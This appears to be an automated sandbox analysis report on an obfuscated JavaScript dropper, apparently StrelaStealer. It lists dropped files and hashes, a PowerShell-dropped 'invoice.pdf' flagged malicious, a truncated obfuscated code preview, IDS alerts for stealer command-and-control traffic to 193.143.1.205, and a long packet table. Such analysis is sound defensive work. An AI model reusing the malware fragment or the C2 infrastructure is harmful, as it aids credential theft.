Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ec144cfc-d914-488c-aebf-5c3fc547d9f5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f03e03f2-fc54-4f71-95b2-9c66e08f8fcd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfAdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLkwZGuGZQ3mlind9i4ufFXpAXkrj
MD5:	2D4DA5B678BE6C3AF996983E376D6500
SHA1:	DBD00242EF5E9D1C4B27F5ED04A31E15DEE01FE5
SHA-256:	D28E9D0E9E9B8CC0085DA0A6252D1B11434834486624E3B960D15A2A68518186
SHA-512:	645B0C0872448E3B64807AABC287C11D97C1B63FA4FDAB7664793961A192B928C0650C7E62C452F007963446C209BD8172A242791740DFF85C03C95A4661F016
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17117), with CRLF line terminators
Entropy (8bit):	4.885270208918257
TrID:
File name:	301425897285010519.js
File size:	20'416 bytes
MD5:	8a3a4166a6eb9f5d412192a515389034
SHA1:	0be6ae3d269c672f02c8ac55a46d806d5e97acbe
SHA256:	2823cbf21b456d6b99bbc2650319d58e1dea8c690a8a419e942e0af7d89147c3
SHA512:	bf36b59f356c9b402a392657c79cbb75191150721bdce9f961bf0f75191cfafddb605e34b91fed921dc4b22a332c0d55744561d8e6d8a65178d0c2830b1fb74b
SSDEEP:	192:Ff8QE6pPavyH+BxxHn0LYsrn6O0CfpMuY0EPePb3bEbz/4wwAMG1AX:p/dzCn0LYsr6OXqSb4bz/3w21AX
TLSH:	8592951E985CC206E7CC02D566CA59FFBEACC1489D70B9743021D8654B6AA7334F78BE
File Content Preview:	function qemrn(){iplwbhew=[1031,3079,5127,4103,2055,3072];var ucufu=this[kbzacxxr+wwcfii+gksof+zzdvz+uoimpu+jjmuhb+rfkry+hzapip](this[shwfshhg+yvgts+fefsd+gksof+aivggaxtl+kbzacxxr+hzapip][maajhnmni+gksof+uoimpu+wwcfii+hzapip+uoimpu+yrfhcprtw+ofvotk+szapiq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:35:37.479484+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49723	193.143.1.205	80	TCP
2025-01-11T04:35:37.479484+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.11	49723	193.143.1.205	80	TCP
2025-01-11T04:35:39.785428+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49738	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:35:36.651014090 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:36.656006098 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:36.656089067 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:36.659157991 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:36.664072037 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479373932 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479418039 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479471922 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479484081 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.479507923 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479545116 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479568005 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.479617119 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479651928 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479686022 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479701996 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.479736090 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479770899 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.479784966 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.479806900 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.485567093 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.530185938 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.530241013 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.530263901 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.582250118 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.604675055 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.604708910 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.604784966 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.604819059 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.604857922 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.604918003 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.604931116 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.604964972 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.604967117 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.604988098 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.605701923 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.605739117 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.605787039 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.605796099 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.605849028 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.605850935 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.605925083 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.605993032 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.606611013 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.606650114 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.606667042 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.606719017 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.606915951 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.606950045 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.606983900 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.607033014 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.607068062 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.607084036 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.607122898 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.607173920 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.607727051 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.607777119 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.607947111 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.664624929 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.664663076 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.664731979 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.699759960 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.699795961 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.699830055 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.699878931 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.730237007 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730269909 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730298996 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.730304003 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730341911 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730357885 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.730376005 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730560064 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730593920 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.730609894 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730647087 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730659008 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.730676889 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730725050 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.730856895 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.730886936 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731025934 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.731092930 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731133938 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731189013 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731221914 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731244087 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.731259108 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731272936 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.731293917 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731339931 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.731344938 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731956005 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.731998920 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.732008934 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732044935 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732078075 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732112885 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732136011 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.732157946 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732192993 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732207060 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.732242107 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.732811928 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732846022 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732891083 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.732938051 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.733001947 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733037949 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733052015 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.733071089 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733107090 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733154058 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.733652115 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733706951 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733732939 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.733741045 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733853102 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733886003 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733900070 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.733925104 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.733948946 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.733978033 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.734136105 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.734659910 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.734694958 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.734729052 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.734762907 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.734774113 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.734812975 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.757060051 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.757116079 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.757147074 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.757158041 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.757181883 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.757225990 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.792263031 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.792305946 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.792350054 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.825439930 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.825476885 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.825535059 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.825537920 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.825570107 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.825611115 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.825623035 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.825656891 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.825690985 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.825706005 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855364084 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855416059 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855429888 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855453014 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855485916 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855496883 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855520964 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855551004 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855566978 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855583906 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855618000 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855632067 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855700016 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855751991 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855751991 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855791092 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855819941 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855834961 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855889082 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855931044 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.855962992 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.855998039 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856051922 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856051922 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.856370926 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856410980 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856432915 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.856477022 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856513023 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856543064 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.856548071 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856599092 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856604099 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.856636047 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856669903 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856686115 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.856705904 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856740952 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856755018 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.856776953 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856812000 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856822968 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.856848955 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.856894016 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.857163906 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857199907 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857235909 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857244968 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.857290030 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857323885 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857336044 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.857358932 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857409000 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.857409954 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857475042 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857507944 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857522964 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.857558966 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857594967 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.857616901 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858040094 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858074903 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858088970 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858118057 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858125925 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858155966 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858181000 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858217955 CET	80	49723	193.143.1.205	192.168.2.11
